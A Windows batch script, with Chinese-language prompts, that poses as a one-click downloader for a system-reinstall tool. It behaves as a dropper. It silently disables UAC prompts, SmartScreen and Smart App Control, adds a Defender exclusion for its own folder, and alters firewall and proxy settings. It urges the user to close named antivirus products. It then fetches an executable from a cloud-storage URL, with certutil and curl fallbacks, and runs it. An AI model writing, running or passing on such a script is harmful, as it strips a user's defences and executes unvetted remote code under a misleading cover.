1>nul fltmc || powershell.exe -Command "Start-Process -FilePath \"%~f0\" -Verb RunAs" && exit /b
@echo off

reg add "HKCU\Console" /v QuickEdit /t REG_DWORD /d 0 /f >nul 2>&1
reg add "HKCU\Console\%%SystemRoot%%_System32_cmd.exe" /v QuickEdit /t REG_DWORD /d 0 /f >nul 2>&1
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v PromptOnSecureDesktop /t REG_DWORD /d 0 /f
REM reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3" /v 1806 /t REG_DWORD /d 0 /f

if not defined REEXECED (
    set "REEXECED=1"
    start "" cmd /c  "%~f0"
    exit /b
)

mode con cols=70 lines=24
title 艾瑞斯(在线一键)重装软件下载
setlocal enabledelayedexpansion

set "trayappname="
for /f "tokens=1 delims=." %%p in ('tasklist /NH') do (
    if /i "%%p"=="hipstray" set "trayappname=!trayappname! ，火绒安全"
    if /i "%%p"=="qqpctray" set "trayappname=!trayappname! ，腾讯电脑管家"
    if /i "%%p"=="360tray" set "trayappname=!trayappname! ，360"
    if /i "%%p"=="360rp" set "trayappname=!trayappname! ，360"
    if /i "%%p"=="360sd" set "trayappname=!trayappname! ，360"
    if /i "%%p"=="kxetray" set "trayappname=!trayappname! ，金山毒霸"
    if /i "%%p"=="2345safetray" set "trayappname=!trayappname! ，2345安全"
    if /i "%%p"=="lenovotray" set "trayappname=!trayappname! ，联想电脑管家"
    if /i "%%p"=="wukongtray" set "trayappname=!trayappname! ，悟空安全"
)
if not "%trayappname%"=="" (
    echo.
    echo.
    echo 检查到当前电脑存在以下安全杀毒类软件：
    echo %trayappname%
    echo 请关闭安全类杀毒类软件后在使用，否则可能会阻止本软件使用。
    echo 如果你不会关，或者关不了，按任意键继续即可。
    pause
)
cls

set "OnlienAppUrl=https://id5wq0coa2b3eo.1yunpan.com/appUpdate/%%E8%%89%%BE%%E7%%91%%9E%%E6%%96%%AF%%E5%%9C%%A8%%E7%%BA%%BF%%E9%%87%%8D%%E8%%A3%%85%%E7%%B3%%BB%%E7%%BB%%9F.exe"

set "shareUrl=https://share.feijipan.com/s/evxLcORq"

set "DownloadUrl=%OnlienAppUrl%"

set /a "DLFileSize=512000"

set /a "verNum=0"
for /f "tokens=3 delims=." %%b in ('ver') do set "verNum=%%b"
if %verNum% LSS 14393 (goto WEBshareLink)

set "ScriptDir=%~dp0"
set "AppDir=%ScriptDir:~0,-1%"
powershell.exe -Command "try{Add-MpPreference -ExclusionPath '%AppDir%'}catch{}" >nul 2>&1
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer /v SmartScreenEnabled /t REG_SZ /d Off /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CI\Policy" /v VerifiedAndReputablePolicyState /t REG_DWORD /d 0 /f
powershell -Command "Write-Output 'en' | & CiTool.exe -r"  >nul 2>&1
netsh advfirewall set allprofiles firewallpolicy blockinbound,allowoutbound
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v AutoDetect /t REG_DWORD /d 0 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyEnable /t REG_DWORD /d 0 /f

::下载~
echo 正在下载艾瑞斯系统重装软件，请稍等片刻...
set "AppExeName=艾瑞斯系统重装软件.exe"
set "AppPath=%AppDir%\%AppExeName%"

powershell -Command "try{Invoke-WebRequest '%DownloadUrl%' -OutFile '%AppPath%' -UseBasicParsing; exit 0}catch{exit 1}"
if "%errorlevel%"=="0" (
    if exist "%AppPath%" (
        for %%i in ("%AppPath%") do if %%~zi GTR %DLFileSize% (
            goto DOWNLOAD_OK
        )
    )
)
del /f /q "%AppPath%"

curl -o "%AppPath%" "%DownloadUrl%" 
if "%errorlevel%"=="0" (
    if exist "%AppPath%" (
        for %%i in ("%AppPath%") do if %%~zi GTR %DLFileSize% (
            goto DOWNLOAD_OK
        )
    )
)
del /f /q "%AppPath%"

certutil -urlcache -split -f "%DownloadUrl%" "%AppPath%"
if "%errorlevel%"=="0" (
    if exist "%AppPath%" (
        for %%i in ("%AppPath%") do if %%~zi GTR %DLFileSize% (
            goto DOWNLOAD_OK
        )
    )
)
del /f /q "%AppPath%"

:WEBshareLink
ECHO 已为您打开浏览器并尝试下载...
explorer.exe "%shareUrl%"
exit

:DOWNLOAD_OK
echo 下载完成，正在启动...
ping localhost -n 3
start "" "%AppPath%" <nul
exit
